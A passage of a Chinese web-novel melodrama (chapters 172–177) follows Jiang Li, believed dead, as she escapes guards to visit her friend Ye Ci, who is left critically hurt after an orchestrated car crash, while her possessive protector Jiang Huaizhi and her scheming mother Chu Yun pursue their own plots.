“每一笔仇,每一笔恨,我都会用各种方法帮你讨回来。” 第172章 想跑的话可以试试看 姜梨的思绪飘的七零八落,她沉默了好久才回过神来,问他:“所以,你是要把这具尸体送给楚云吗?” 时鸢的脸被有意的烧毁了一半,倒是真的能做到以假乱真的地步。 只要楚云这个亲妈确认这个尸体是她,就会打消掉所有人的怀疑,都会认定姜梨已经死了。 江淮之把冰柜推了回去,嗯了一声,“沈月汐死了,楚云不会好好安葬这具尸体的。楚云会对着她泄愤,她会替你帮时鸢剖心,剔骨,会让她死无葬身之地。” “仇人亲手替你报仇,难道不爽吗?你对待沈月汐和当众挑衅沈家和楚家的做法,叫作以命抵命,简直就是亏的血本无归。”他看向姜梨,一字一句道:“妹妹,报了仇并且还活着,才叫以牙还牙。” “学会了么?” 这就是江淮之说的要送给她的大礼,也是他要让她看的好戏。 从殡仪馆出来,他们一路无言的回了幽谷居。雨还在下,非常灰暗沉重。 吃完饭,姜梨看了一会儿书,终究是不死心的开口问了江淮之,“以前到底出过什么事?” “你不是私下让叶辞查过了?事实跟他说的一样,没什么好说的。”江淮之看着电脑处理工作,听到姜梨的问题连眼皮都没抬一下。 姜梨的眼睫颤了颤,原来他早就知道她做的这些小动作了,但是他在骗她。 如果真的只有那些事,不可能会需要让洛骞来给她做催眠术,但是江淮之明显就是一副什么都不会多说的样子。 心里好似被覆上了一片乌云,好烦。 江淮之敲键盘的手顿了顿,冷不丁开口:“沈叙和楚柠歌还有楚珩熠都被判了死刑。” 两个毒贩,手上不知道害了多少条人命。楚柠歌策划爆炸,害死了三条人命。楚云和谢家必定不会让她好过,这个量刑倒也不奇怪。 现在这个结局,都是他们三个罪有应得。 姜梨神色淡然,只轻轻嗯了一声,然后准备回房间继续看书。 “过来。”江淮之喊她。 “还有什么事吗?”姜梨没有动。 姜梨这是在不高兴,在生气。 她生气不像别人那样会大吵大闹,反而安静得很。不管你问什么她都会温声细语的回答,但那双眼睛却清寒的很,有些凉飕飕的。 江淮之轻轻合上电脑,拎出来旁边备好的药箱,“后背看不到,帮我上一下药。” 他的伤还没有好透,前段时间都是洛骞和谢铭帮他处理。 姜梨没再说什么,朝他走了过去。 他坐在沙发上,身上的衣服没有脱,见他没有要自己动手的意思,姜梨缓缓抬起手,一颗一颗解开纽扣。 手有些抖,指尖会蹭上他的皮肤,有些烫,姜梨不自觉的屏住呼吸,脸有些热。 姜梨捏住衣襟,把衣服从他身上剥了下来。 他肩膀的伤非常严重,虽然已经长出来了新的皮肉,但是还没完全长好,有些地方还在冒着血丝。一大片的深红色能看到明显的凸起,和他周围白皙的皮肤形成了鲜明的对比,显得尤为可怖。 光是肩膀上的这一块就已经这样了,那后背只会更严重,过去了三个月都只恢复到这样。 该有多痛。 姜梨强忍着眼眶的酸涩,在药箱里翻出已经用了一大半的几罐药膏挤在棉签头上,轻轻的擦拭在伤口上。 抹完肩膀又去抹手臂,后者就恢复的好一些,面积也小很多。 处理完这两个地方,江淮之微微侧身,将整个背部暴露在她眼前。 姜梨在看清他后背的一瞬间,直接僵在了原地。 他的背上有一大片的纹身,但是已经被烧坏了很多。这个地方的确是烧伤的最严重,一块一块都被烧的面目全非,已经看不出来纹的图案是什么样的了。 怪不得他一开始不让她看,三个月过去了都是这样,那最开始得有多可怖,得有多痛。 姜梨捏着棉签不敢动,眼泪从眼眶里源源不断的往外涌。 江淮之发现她半天没有动作,偏头看过去才发现她哭得稀里哗啦的。眉心跳了一下,把她手里的棉签抽出来扔掉,一把拽过她,让她跨坐在了他的大腿上,“刚刚还虎着脸生闷气,凶巴巴的,怎么现在又哭上了?百变马丁都没有你这么多变。” “还……还疼吗?” 江淮之用指腹擦掉她滚下来的泪珠,他叹了口气,“不疼。” 本来就已经好的差不多了,他就是想故意卖个惨而已。 不是说会哭的孩子有糖吃吗? 但是看她哭成这样他又说不出来“疼”这个字眼了。 姜梨缓了一会,哭完了就挣扎着从他身上下来,重新拿了棉签继续给他抹药。 抹完药,收拾杂物的时候,江淮之对她说:“你不是想要去寺庙吗?后天的天气会很好。上完香,就送你去我外祖母那儿,季妍会跟着。” “那你要去哪里?” 季妍跟着她去,也就是说江淮之不会去。 江淮之:“我要去北城一趟,公司的事情需要我亲自去处理。” 他倒是想带着姜梨一起去,不然以她的行事作风,的确是会闹出幺蛾子。但是姜梨在大众眼里已经死了,她现在还不能贸然出现在那里,会很容易被认出来。 只能把她留在港城。 姜梨倒是没像之前那样抗拒,应了下来。 江淮之不在港城,或许这一次是她出逃实行下一步计划的好机会。 她才这么想,就听到江淮之说了一句:“想跑的话,你可以试试看。” “看看是你跑的快,还是我抓的快。” 第173章 我要重新验尸 港城最有名的庙是黄大仙庙,香火鼎盛,有求必应。 天气晴朗,来的人非常多。 姜梨和江淮之在门口领了香,一人九支。黄大仙庙有三个殿,每个殿上三支香。 “信女别无他求,只求能平安归来。” 每踏入一个殿,姜梨就会在心里默念这一句诉求。 他们去拜了财神,又去了月老庙求姻缘顺遂,系上了红绳。 离开的时候姜梨回头深深的看了一眼寺庙,身后只有人山人海的游客,也没有什么可疑的人。 奇怪了,是她的错觉吗? 江淮之轻轻瞥了她一眼,然后牵着她往前走。因为要把姜梨送去老太太那里,他们今天开了车来。 姜梨上车后就把口罩取掉了,江淮之以要去卫生间为由,让他们在车上等他。 他绕过人群,去了后山,找到了戴着墨镜的时樾。 “音乐会那一面还不够?”江淮之的面色有些冷凝,语气也很生硬。 时樾扯了扯唇,“这不是知道你要把她送走,所以赶着来看她一眼么?” “你少来这套说辞。”江淮之剜了他一眼,“先是一再强调让我不要告诉她你还活着,现在又想在她面前找存在感,生怕她怀疑不到你头上,既要又要的,你到底想干嘛?” 时樾靠在树干上,伸手扯下一片树叶,看着上面的纹路,墨镜后的眸子愈发深沉。“你要回北城是吗?” “嗯。” “楚云在查我,你这一趟去北城要帮我办件事。” …… 江淮之把姜梨送去韩老太太身边的当晚就乘坐私人飞机回了北城。 落地的第一时间就回了沈氏,开始处理相关事宜。 行事作风雷厉风行的头衔也不是虚妄的,江淮之收购沈氏不过一个多月,公司现在就已经处于正常运转的状态了。 司南衍在一个项目上做错了决策,让司南赫和简清时钻了空子,司氏总公司亏损了不少,樱洲分公司则是凭借着这个更上一层楼,股价开始上涨,迎来了低谷的第一春。 樱洲分公司趋于稳定,舒羽和舒翎就被调回了北城。 偌大的总裁办内,电视上在播放实时新闻。 穿这一袭黑衣的楚云在记者的镜头前声泪俱下,她找了多家机构,检测结果均显示这具尸体就是楚云的亲生女儿姜梨。 一双眼睛哭的充血,脸色苍白,多了好几条皱纹,就连头发都白了不少 去年九月丧子,今年又连丧二女。 一夜之间老了十几岁。 “姐姐害妹妹,妹妹曝光哥哥贩毒,为了给自己正名,给好友报仇,不惜搭上自己的性命,一家子全挂了。我的天奶,这哪里是豪门,这他妈地狱啊!” “沈月汐和沈叙还有那个沈君临都是罪有应得哈,姜二小姐才是真的可怜,也不知道受了他们沈家和楚家多少栽赃陷害。” “楚云前几天还有脸说江大少猥亵她女儿,我看完全就是放屁!姜祈安刚死她就把姜梨包装成了礼物想要推给那些多金的老男人,以此来为沈氏和姜氏作嫁衣。要不是江大少把人带走了,姜梨还不知道要受多少罪!” “出轨的妈,消失的爸。纵火杀人的继姐,贩毒的继兄,还有背负骂名、痛失至亲和好友、破碎不堪的她,负面buff叠满,太惨了。” “那个资助生林遥也很惨啊!沈家人真是恶毒基因的载体,纵火杀人这种事都干的出来!要我说,包庇罪犯的楚云也该死!” 发出来的视频评论区里骂声一片,但是也有一部分网友是维护楚云的那一方。 “人家警方都说了这事跟楚云没关系,她并不知情。现在她接连失去儿女,你们嘴巴积点德吧!” “那些骂她的一看就是没当妈的。好歹都是自己身上掉下来的肉,怎么可能没有半点心疼?” “就是说啊。沈叙贩毒、沈月汐纵火杀人,沈君临经济犯罪,这些都跟楚云没关系,她也不知情。但是突然间就失去了两个女儿,这换做是我我直接裂开。” 原本雍容华贵的女人变得如此沧桑,一夜白头。外人看来,楚云如今这样是因为姜梨,她对姜梨是有爱的。 江淮之看着电视上可怜无助的女人,讥讽的扯了扯嘴角,眼神像刀子一样,好似要穿过电视的屏幕捅穿她。 虚情假意的博同情,沈月汐死的时候怎么不见得她放记者进来拍棺木?! “砰!” 他拿起桌上的一个玻璃杯就朝着电视机砸了上去,屏幕开裂,白光闪了一下,然后黑了下来。 那个玻璃杯也碎了,碎片哗啦啦掉在了地上。 刚进来的舒羽被这个动静吓了一跳,她抱着一堆文件,直愣愣的就站定在了原地,一动不敢动,大气都不敢喘。 虽然江淮之一直都在正常的处理工作,但是他身上气压极低,站在他身边的时候感觉空气都变得稀薄了。 表情和眼神都很冷,哪里还有半点儿温文尔雅的气质?公司里的人都知道他和姜梨的关系,谢铭也提前跟他们打了招呼,于是所有人都战战兢兢的不敢多说话,生怕一个不小心就会踩到他的逆鳞。 江淮之的手背青筋凸起,看向舒羽时眼里的戾气也没化开。 舒羽被这一眼看的心颤了一下,立马低下头,硬着头皮走上前几步,把一沓文件放在了办公桌上,“江总,这是要签署的文件。” “把谢铭叫进来。” 舒羽出去时谢铭就在门外站着,她重重的吐出来一口气,对他使了个眼色。 谢铭会意,进了办公室。 看到地上的碎瓷片以及已经报废的电视机,谢铭的嘴角抽搐了一下。 这戏演的还挺逼真。 江淮之一边翻看着文件,一边吩咐他:“马上去联系检测机构,再找几个口封严实的人,晚上一起去趟墓地。” “啊?”谢铭一时间没反应过来。 “我要挖姜祈安的墓,重新提取dnA,再验一遍。” 他要重新开棺验尸?! 当时法医尸检过,姜梨也查看过,的的确确就是姜祈安本人。 挖坟那是大不敬,怎么能做这样的事?! 第174章 先拿叶辞开刀 当晚,江淮之就带着人来了墓园。 挖掘,开棺,专业人士在一具白骨上提取到了dnA。江淮之那里也提供了另一份dAn样本,一起拿去做比对。 做了加急处理,结果在第二天的下午就送到了江淮之手里。 鉴定显示两份样本存在亲子关系。 与此同时,谢铭和一众保安站在门口,将满脸怒意的楚云拦了下来。 公司里的员工看到这一幕,心里都在疑惑,这是又闹出什么幺蛾子了让楚云敢这样怒气冲冲的硬闯公司? 舒羽把情况简单的说了一遍,江淮之把鉴定报告放回档案袋里,把桌上散乱的照片整理好收在了一边,淡声道:“让谢铭把人放进来。” 楚云明显就是来者不善,居然要把她放进来? “是。”舒羽也不敢多问,小跑着出了办公室。 “你私藏我女儿的尸体也就算了,你还敢私自去挖我儿子的墓!江淮之!你岂有……!”楚云直接推开总裁办工室的门,怒目圆睁的对着江淮之破口大骂。然而江淮之仅仅只是轻飘飘的扫了她一眼,楚云就感觉被人用刀捅了一下,全身极速变冷,硬是没敢把后半句话说出来。 江淮之:“我挖了又怎样?” “你!”楚云的一张脸由白转红,像调色盘。 “在我这就用不着装你母爱泛滥的样子。”江淮之坐到椅子上,表情越来越淡,“以前不见你去墓地看看你儿子,现在倒是突然造访墓园。别跟我说你是去安葬姜梨的,我问过墓园的工作人员,你没有在那里买墓地。” “我挖了,你也挖了。尸体我已经还给你了,你也一把火烧了个干净。既然都不清白那大家就都闭嘴呗?别他妈像个疯狗一样到处乱咬人,你当我这里现在还是你沈家吗?” 楚云的余光瞥到了江淮之放在桌上的照片,瞳孔猛缩了一下,拳头瞬间捏紧。 江淮之也在查时樾,他也在怀疑时樾的身份。 “谢铭,清理一下垃圾。”江淮之注意到她的眼神,也不想再跟她废话,直接开始赶人。 楚云是被谢铭和舒羽押出去的。 离开时她看了一眼公司大楼,目眦欲裂,眼球红的充血。 …… 沈宅已经被查封,沈君临名下的所有资产都被查封,楚云最近都住在自己的私人别墅里。 dnA鉴定结果已经被秘书送了过来,放在了桌子上。 提交的样本是她和墓地里那具尸骨的dna,比对结果显示有亲子关系,百分之九十九点九。 姜祈安确确实实就是那具白骨,时樾只是长得和他有几分相似罢了,就像姜梨和时愿。 楚云拨通了一个电话,将比对结果告诉了电话另一头的人。 “调查清楚了,姜祈安的确已经死了,时樾是另一个人。江淮之也在查,用的是姜梨的dna,结果也是一样的。” “现在四面都动荡不安,送完最后一批货就先停手吧。”电话另一头的人停顿了一会儿,接着说:“我要你帮我办件事,姜梨生前和叶家二少爷还有江淮之都有联系,为了永绝后患,他们两个绝不能留。江淮之戒心重,那就先制造一场车祸,拿叶辞开刀吧。” 楚云听完以后,捏着手机的手一紧,指尖泛白,没有吭声。 “阿云,你在听吗?” “沈翊这个吃里扒外的东西和江淮之里应外合把沈君临送进了监狱,沈氏也被江淮之夺走。”楚云说着就开始哽咽了起来,“姜氏现在也岌岌可危,楚家因为姜梨的事情迁怒于我,也不肯再出资,现在所有重担都压在了我身上。月汐去世已经几个月,你也就在警局露了一次面,后来你连她的葬礼都不愿参加,她是你的女儿!你没有半点儿难过也就算了,现在却让我在这种情况下去帮你杀人?韩聿言,你到底有没有心?” 电话另一头的韩聿言似是叹了口气,他的声音柔和了不少,“阿云,这是最后一次。把这些障碍清扫干净,我会兑现我的诺言,三书六聘迎娶你。” 楚云闭了闭眼,挂断了他的电话,随后订了一张飞往樱洲的机票。 看着出票的航班信息,楚云苦笑了一下,她这是又为了这个男人妥了协。 …… 港城。 姜梨抱着阿野坐在阳台的吊椅上,悠悠的凉风吹在脸上,她舒服的眯了眯眼睛,抬头看着黑夜,亮着细碎的星。 她已经在江淮之外祖母这里待了半个月了,这边虽然偏僻,但是环境很好,是挺适合修身养性的。 和姜梨想象的不一样,老太太的性格非常温和。跟楚家那个老妖婆比起来,简直就是天壤之别。 两个人相处的挺融洽的。 老太太用粤语唤她阿愿,姜梨就叫她外婆。 什么都好,就是满院子的保镖不太好。江淮之怎么可能放心把她一个人扔在这,跟着她的也不止季妍,还有保镖军团。 她的手机和电脑也都在被实时监控。 根本不敢登陆另一个微信号和他们联系,也根本出不了这扇铁门。 姜梨又气得好几天都不愿意接江淮之的电话和视频。 看了好一会的书,姜梨开始刷短视频,想要放松一下。 刚把手机解锁,叶辞的电话就弹了出来。 朋友之间接个电话也没什么不可以,叶辞脑子很聪明,不会乱说话的。 这样想着,姜梨就点了接听。 叶辞也是知道江淮之独自一个人来了北城才会给姜梨打这个电话,他刚处理完公司的事情,这会儿在回叶宅的路上。 “你现在在医院还是在哪里?” 姜梨撸着猫,声音懒散又带着点怨气:“在江淮之打造的监狱里,成群结队的保镖围在门口。” “安心待着吧,我这里一切都好。”叶辞开了车窗,觥筹交错的光落在眼睛里,有些闪,“江淮之不会锁你一辈子的,等风头过了自然会放你出来,不要任性。” 尖锐的喇叭声和叶辞的声音重合在了一起。 车子在转弯的时候,迎面冲上来一辆黑色的装甲车,直直的朝着他们的方向撞上来。 叶辞猛地抬起眼,下一秒就感觉到眼前天旋地转和身上的一阵剧痛。 姜梨那边只听到了手机被甩出去的声音,她脸色微微一变,对着电话喊:“叶辞你那边怎么回事?” “叶辞?!” “嘟——” 第175章 不该管的事少管 叶辞出了严重的车祸,叶止和江淮之动用关系将这件事给压了下来,没有曝光出去。 那辆装甲车在撞翻了叶辞的车后撞上了栏杆,而后不受掉进了江里。 警方也进行了打捞,只捞上来了一辆撞毁的空车。 叶止和江淮之一眼就看出来这是一场蓄意谋杀,那个开车的人神不知鬼不觉的来了一个金蝉脱壳。 “医生怎么说?” 江淮之是在事发的第二天才接到叶止的电话的,他赶到的时候叶辞已经被送进了重症监护室。 叶止的脸色极为阴沉,“经过抢救捡回了一条命,但是有可能会醒不过来。但是开车的司机,救护车赶到的时候已经没气了。” “……”江淮之沉默不语。 也就是说,叶辞很有可能会成为植物人。 背后操纵的人,是抱着让叶辞必死的决心撞上去的。没有当场丧命的原因大概是因为叶辞在危急关头,护住了自己最重要的部位。 军人出身的孩子都多少受过训练,反应速度非常快。否则他的下场,就会跟那个司机一样。 连军区大院的人都敢碰,还没有留下什么证据,这个人也不简单。 “叶辞的手机查了吗?里面有没有什么线索?” 叶止点头,“只是摔的有点厉害,需要一点时间。” 江淮之抿了抿唇,“最近小心一点。估计是因为端了沈叙和楚珩熠,那伙剩下的毒瘤开始蓄意报复了。” 叶止“嗯”了一声。 …… 回到公司,江淮之就让韩斯年去调取了姜梨的通话记录,同时给她打去了一个电话。 电话铃音快结束的最后一秒她才接,声音还是一如既往的冷:“什么事?” “没什么,问问你。” 姜梨冷嗤一声,“那你应该打给季妍,打给监视我的保镖团。” 江淮之对这个问题避而不谈,转而对她道:“我还要在北城待一段时间,你在那里好好待着,乖一点。” 姜梨没有理他,直接把电话给挂断了。 本来江淮之是要在三天后回港城的,但是他刚刚说他还要在北城待一段时间,叶辞果然是出事了。 姜梨把手机放回了桌子上,抱着小野坐回了沙发上。 “季姐姐,早上江淮之有跟你打电话吗?”她装作无意的样子询问正在厨房忙碌的季妍。 季妍没有多想,如实回答:“打了的,问少夫人您在做什么。” 姜梨撸着猫,眼神微微暗了暗,哦了一声。 刚刚江淮之没有提过关于叶辞的任何事情,他不想让她知道。没准现在已经在人去调她的通话记录了,调取手机上的信息都需要时间,最快也要一个多小时。 她不能再拖了,必须马上离开这里! 一旦江淮之知道叶辞在昨晚出事的时候跟她通过电话,她就走不了了。 姜梨放下猫,悄悄地走到厨房。 抬起手在季妍的脖颈处敲了一下,不过三秒,季妍的身体晃了晃,姜梨赶紧扶住她,顺手关掉了天然气。 “对不起了,季姐姐。” 姜梨把她拖到沙发上安顿好,摸出她的手机,用季妍的指纹解了锁。 她拨通了一个号码,开门见山的对着电话另一头的人道:“你现在能出来帮我一下吗?叶辞出事了!” 搬了救兵以后姜梨也没闲着。 她在一堆化妆品里找出气垫,往自己和季妍的嘴唇上都抹了一点。 然后捂着肚子下了楼。 守在门口的保镖见姜梨出来,立刻就要拦住她。 姜梨脚步虚浮,险些站不稳。她张了张唇,虚弱的开口:“季……季姐姐晕倒了……” 这时他们才发现姜梨的脸色有些不对劲。 她的唇色白的像一张纸,额头上也起了一层细密的汗珠,虚弱的不行。 众人一下子慌了神。 “快!快去通知老夫人!叫救护车!” “你们几个先去看看季姐姐……再去检查一下是不是有人在饭菜里做了手脚。”姜梨虚弱开口。 听到姜梨的话,四名保镖上了楼,其他人纷纷去往主宅通知老夫人,现在只剩下三个人在这里看着她。 姜梨嘴角微微上扬,一瞬间就收起了虚弱的样子,用对付季妍的办法打晕了一个保镖。 剩下两个人脸色一变,立马反应过来姜梨是装的,然后就想抓她。姜梨一把拽住旁边花盆里种的植物砸在了两个人的脸上,然后迅速将他们放倒,拔腿就跑。 “少夫人跑了!” “快!快追!” “快去通知大少爷和韩总!” 她的身体还没完全恢复好,跑的太快导致她有些头晕目眩。但是她不敢停,咬紧牙关死命的往前冲。 好几次差点绊倒。 身后的保镖见状立马就停了下来,不敢追她太紧。 这里是山路,如果姜梨为了躲避他们出了什么意外,那就不仅仅是他们失职的问题了! “姜梨!上车!” 搬的救兵是夏栎,她的喉咙做了手术,已经能开口说话了。 此时她骑了一辆重骑等在路边,见姜梨跑出来把事先准备好的帽子递给她,姜梨也毫不拖泥带水的上了车。 “抄近道!去机场!” 韩斯年的动作也很快,出动了好几辆车追捕拦截她们。 夏栎在港城那么久,早就已经把路摸的滚瓜烂熟了。她骑的还是能穿梭在各种小道的机车,七绕八绕的就把这些人都甩开了。 但是韩斯年开车开得极快,一路连闯红灯,终于在一个路口追上了从巷道里冲出来的姜梨和夏栎。 然而就在这个时候,另一辆黑车突然冲了出来,韩斯年一惊,立马打死方向盘猛踩刹车。 轮胎划过地面发出刺耳的摩擦声,韩斯年的车子撞到了路边的一棵大树上。 路过的行人被这一幕吓得尖叫起来,却没有一个人敢报警。相撞的两辆车是韩家和谢家的,没有人惹得起。 韩斯年受了点擦伤,车报废了。 他从驾驶座下来,正好看到了刚从车上下来的谢鹤枭。 再看,夏栎和姜梨已经不见了踪影。 谢鹤枭瞟了一眼韩斯年的车,还有他脸上的擦伤,拿出手机报了警,拨打了120。 然后他又扭头看了眼夏栎和姜梨离开的方向,转而对他冷冷道:“不该管的人和事,少管。” “韩总,惜命要紧。” 第176章 对他最有用的技能 夏栎和姜梨顺利坐上了港城飞往樱洲的航班,在三个小时之后到达了樱洲机场。 姜梨戴着一顶鸭舌帽,眼神小心翼翼的打量着周围。好在现在是白天,她眼睛不瞎,扫视了几圈,在人群里看到了谢铭。 她抓着夏栎的衣袖紧了紧。 正当姜梨不知道该怎么办时,不知道是谁突然尖叫了一声。 只见两三个身穿黑衣的男子分别抱着抢来的包,满机场的逃跑。 紧接着就有人大声的喊:“有人抢钱!有小偷!抓小偷!!!” “大家快抓小偷啊!” 像是在滚烫的热油里泼了一盆水,偌大的机场一瞬间就炸了锅,变得混乱无比。 夏栎此时一把抓住姜梨,挤进人群里往外跑。 谢铭他们被挤的根本看不到姜梨的身影! 而就在此时,夏栎和姜梨和他擦肩而过。 夏栎已经在机场外安排了一辆低调至极的出租车,姜梨和夏栎再一次成功逃脱。 “你……”姜梨看到开车的人是谢鹤扬时,脑子都要炸了,“你怎么能来?要是被抓到怎么办?!纪繁星呢?沈翊呢?” 谢鹤扬也裹的很严实,不是近距离细看的话根本看不出来他是谁。 他微微抬起眼皮看向后视镜,透过镜面观察着姜梨,发现她身上没有任何烧伤的伤痕,微微松了口气。 江淮之的确是把她照顾的很好。 当时在火场里,看到燃烧着的木柜就要砸到姜梨身上时他心里想的是:完蛋了! 然而令他没有想到的是,江淮之以难以形容出来的速度冲上去替她扛了下来,那个燃着熊熊烈火的木柜砸在了江淮之的背上。 那些天花板的灯带也都砸在了他身上。 谢鹤扬看的是心惊肉跳,紧随其后的跟上去,徒手把压在江淮之身上的重物移开,把人救了出来。 那天如果谢鹤没有回头,那么姜梨和江淮之也就难逃一死了。 “他们俩都在疗养院好好待着呢,倒是你实在是太沉不住气了,不好好听江淮之的安排,瞎跑出来干什么?”谢鹤扬从回忆里抽离出来,一边飙车一边对姜梨解释:“刚刚在机场里制造骚乱的人并不是只有我们安排的人,还有别人。” “叶辞这场车祸分明就是想把你引到樱洲,有人知道你没有死。” 姜梨不是傻子,她早就已经想到这一层了,但是她不可能放着叶辞不管,如果不是因为她和叶辞走得太近,他根本就不会遭到这一劫。 “就算他是为了我好也不该瞒着我叶辞出了车祸的事情,我不是他的笼中鸟。你说我莽撞,但你来帮我了,你比我还莽撞。” 谢鹤扬:“怎么说我们也是受了叶辞照顾的,总得知道他到底如何了。活要见人,死要见尸……!” “哔哔哔——” 刺耳的喇叭声不断响起,姜梨下意识扭头往后看,一瞬间就瞪大了眼睛。 陆七和简清时开车追上来了! “甩开他们!快点!” 谢鹤扬眼神敛了敛,“坐稳了——!” 话音刚落下,他就把油门踩到了底,车子瞬间像离弦的剑一般飞了出去! 姜梨和夏栎的身体控制不住的向前倾。 “前面,左转!”姜梨对樱洲的路很熟,开始给谢鹤扬当起了导航。 三辆车紧追不舍的在各个街道穿梭。 但是因为有姜梨这个人形地图,渐渐的两个人就被谢鹤扬给甩开了。 然而几个人才放松下来,前面的路口突然停下来一辆库里南挡住了他们的路。 是江淮之! 谢鹤扬的瞳孔一缩,只能猛踩刹车停了下来。 他们的出租车怎么能跑得过江淮之的库里南?姜梨咬了咬牙,松开捏紧的手。 “你带着夏栎逃,我去拦他。” 谢鹤扬的车技很好,陆七和简清时没有追上来,只要拦住江淮之,他们可以逃走。 夏栎看了她一眼没说话,谢鹤扬也同样没吭声。 他们心里都清楚,这种情况能一起逃走根本就不现实。 所以在姜梨下车的时候他们都没拦。 谢鹤扬没有多停,打死方向盘,扭头就跑。 江淮之下了车,一双凤眸隔着遥遥的距离盯着她,双唇轻启:“自己过来。” 姜梨捏紧外套的袖子,十几米的距离被她走出来几百米的感觉。 “上车。”江淮之拉开副驾驶的门,眼神没有丝毫波动,看不出喜怒。 他越平静,就越让姜梨心里发怵。 一声不吭的乖乖上了车,她摘掉帽子,手心里都起了层冷汗,冰凉凉的,狂跳的心脏还没有平复下来。 这时江淮之突然朝她压了过来,姜梨不由自主的往后缩了一下。 这是她下意识的动作,她在躲他。 江淮之扯安全带的动作僵了一下。 “我没有想逃跑。”姜梨以为他生气了,又想在车上对她用强,解释的声音越来越小:“我想去看叶辞,你带我去。” 空气安静了一瞬。 江淮之把安全带拉出来,慢条斯理的扣好,然后启动车子,没有吭声。 没答应,也没有拒绝。 但是他在往秋水湾的方向开。 姜梨心里堵了一口气,“我本来也不想这样,但是你打电话给我的时候什么都没说,你本来就没打算告诉我叶辞出事了。你一直都这样,什么都不肯告诉我,你觉得你是为我好,那也只是你觉得。没有谁想当一个什么都不知道的傻子,没有谁想被一直困在迷雾里走不出来。” “我不喜欢这样,我讨厌你!” 她越说就越生气,直到最后一个字落下,眼泪也跟着掉了下来。 江淮之的下颌紧绷,手背青筋鼓起。 最后拐了个弯,换了一个方向。 “别哭了。”江淮之停下车,伸手想去帮她擦眼泪,姜梨撇开头,不让他碰。 然而在看清窗外的环境时,她愣住了。 这里是停车场,是医院的停车场。 姜梨吸了一下鼻子,眼泪立马就止住了,看向江淮之眨了一下眼睛,原来掉眼泪对江淮之真的是最有用的技能。 成功汇率高达百分之九十。 江淮之被她可爱到了,原本心里憋着的火消了一大半,扯了两张湿巾纸把她脸上的眼泪擦干净,顺带着把她嘴唇上残留的粉底液也给擦了。 “帽子和口罩戴上,下车吧。” 第177章 如果是司南泽呢 姜梨最后也只偷偷的在病房外看了叶辞一眼,因为叶父叶母在,她就没有进去。 叶父叶母虽然知道实情,但是姜梨现在也不能出现在他们面前,他们会把她留在叶家军区大院,她已经害了叶辞,不能再害叶家。 叶辞的这场车祸很严重,他的肋骨全部断裂,腿部的胫骨和股骨骨折,头部也受到了重创,还有其他的软组织损伤。 身上插满了管子,戴著氧气罩。 “他什么时候能醒?”姜梨的眼圈通红,目光看向身边站著的叶止。 叶止抿了抿唇,说道:“或许几天,或许个把月,也可能醒不过来。” 永远都醒不过来,也就是植物人。 叶辞有可能会成为植物人……植物人……他怎么能成为植物人! 姜梨身体晃了晃,险些站不稳。江淮之揽住她的肩膀,对她说:“医生往往都会把最严重的情况说出来,其实事实会比结果要好很多。” “你不能在这里待太久,该回去了。” 叶止喊住江淮之,“她好不容易回来樱洲,我想单独跟她说两句话,就几分钟。” 江淮之没有阻止,主动退到了外面。 “叶辞的手机经过专业人员的处理,我已经在上面知道了一些事情。”叶止深深的看著姜梨,问她:“你给了叶辞一张卡,让他以做慈善的名义把钱捐给了港城的疗养院,但是最后那笔钱却进了一家名青森的疗养院,而且我怎么查都查不到有关这家疗养院的任何资料。” “青森疗养院到底是什么地方?你还想要干什么?” 姜梨的拳头捏紧,抬起眼皮时,眼里快速的闪过一丝恨意,“当然是给林遥报仇了。” 叶止的眉毛皱了起来。 沈月汐已经死了,怎么还要给林遥报仇? 难道说……他难以置信的看向姜梨。 “这件事情跟你们任何人都没有关系,我一定会亲手送他们下地狱,谁都别想阻拦我。” “也谁都阻拦不了我。” …… 姜梨和江淮之回了秋水湾。 季妍的手机被江淮之要了回去,在通话记录里找到了一串陌生的号码。 昨晚打过,今天也打过,是那个帮她逃出港城的女人。 从韩斯年描述出来的身形来看,不是纪繁星。江淮之猜想,大机率是之前被她安排在沈家收集情报的人。 “你知道沈翊在哪里。” 江淮之放下手机,似是在问她,但是却用了陈述句,“谢鹤扬和纪繁星跟他在一起,他们三个在樱洲。” 姜梨否认,“我不知道。” “我不是瞎子,今天开车的人就是谢鹤扬。” “口说无凭,但眼见为实。”她就是不承认,“我说他不是,他就不是。” 跟谢鹤扬和夏栎在车上待过的人是姜梨,只有她一个人见过他们,她说他们是谁,他们就是谁。 他都没有坦诚相待,她又凭什么要对他说实话? 在他们还没到之前江淮之就收到了谢铭的讯息,那辆计程车被遗弃在路边,但是里面的人已经不见了踪迹。 车是一辆套牌车,所有路段的监控都已经查过了,两个人也入镜了,但是他们就是查不到人究竟去了哪里。 真是见了鬼了。 “如果我今天没有追上你们,你会和他们离开吗?” 姜梨果断摇头,她从来都没有想过要和谢鹤扬他们一起走。 江淮之眼神微动,又问了一句:“那如果是司南泽让你跟他走呢?” “……不会。”姜梨回答的很快,也很坚决。 但是江淮之捕捉到了她脸上一闪而过的惊慌,而且她居然都不反驳一句她和司南泽不熟。 她在紧张。 姜梨不可能不知道这是一个局,司南泽逼她现身的局。抛砖引玉,叶辞是砖,姜梨是玉。 虽然他和叶止都没有找到证据,但是外界里,就只有司南泽知道姜梨没有死。 明知道是一场局,姜梨还是义无反顾的来了。 主要原因是担心叶辞,次要原因就是司南泽。 江淮之无声的笑了,笑意却不达眼底,“你最好是这样想。今天这样的事情再有下一次,我不会再心软。你跟谁跑,我就杀谁。” “然后再把你锁起来,一辈子都不会松开。” 这场谈话博弈,最终也是不欢而散。 江淮之没有用锁链锁她,也没有再安排保镖监视她,也不再限制她不能出门,更没有提要回港城的事情。 甚至还一个人飞去了北城,把她一个人留在了樱洲。 这样的做法让姜梨觉得有点不正常,所以她连著一个星期都好好的待在家里。 连著七天,江淮之都没说要回来,甚至没有给她打过一通电话。 在第九天的晚上,姜梨出门了。 她怕被人认出来,口罩和帽子一样都不少,全副武装的来了’祈愿‘。 仰头看著闪烁的灯牌,姜梨恍惚了一下。 这是姜祈安开的酒吧。最开始她还吐槽过这个名字,一点也不搭配酒吧这个场所。 当时他说的理由是:他觉得寓意很好。 祈福平安,愿万事可期。 现在看来,应该是各取了他们名字里的一个字。 姜祈安——祈。 姜时愿——愿。 还好当初没有真的让叶辞去改名字,也没有让谢鹤扬把牌匾给砸了。 姜梨收回视线,捏了捏衣服口袋里的东西,然后进了酒吧。 她要了一杯莫吉托,一个人坐在吧台的角落里。 手轻轻的摇晃著酒杯,口罩和帽子都没摘,丝毫没有要喝酒的意思。 已经六月份,她穿的并不清凉,严实的没有露出一点面板,和酒吧里的人格格不入。 两个男人注意到了姜梨。 